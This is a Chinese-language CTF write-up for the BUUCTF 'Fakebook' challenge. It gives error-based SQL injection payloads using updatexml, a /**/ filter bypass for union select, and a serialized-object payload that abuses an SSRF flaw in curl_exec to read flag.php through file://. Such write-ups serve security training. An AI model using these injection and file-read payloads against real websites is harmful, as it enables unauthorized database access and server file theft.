【BUUCTF】[网鼎杯 2018]Fakebook

随便注册一个账户后，点击进去

url中的no引人注意，尝试no=0

出现了很多信息，感觉像是sql注入，于是no=1’试试

好，这里存在注入漏洞，一套连招下来，发现union被过滤，select存活,但是据说可以用/**/绕过，反正是没怎么过滤，想怎么来怎么来
不想写中间过程了，轻松爆出了数据库名、表名，看看最后几步

?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'),3);

?no=1 and updatexml(1,concat('~',( select data from users),'~'),3);

我们注意到data数据是序列化好的内容，应该就是我们注册的信息，到这里sql注入也就结束了，没有flag
看wp，dirsearch一波

就像发现新大陆一样，先看看robots.txt(这里吐槽一下buu网站不经干，dirsearch一定要delay拉到5左右才不会炸-_-!!)

把这个备份文件下载下来

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看到blog的内容通过get函数得到

  function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

这里存在curl_exec()使用不当造成SSRF漏洞，之前的报错中告诉了文件路径

利用file协议可以得到flag.php
本地序列化代码

<?php  
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
?>  

最终payload

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

网页源码可以看到这个，base64解密一波即可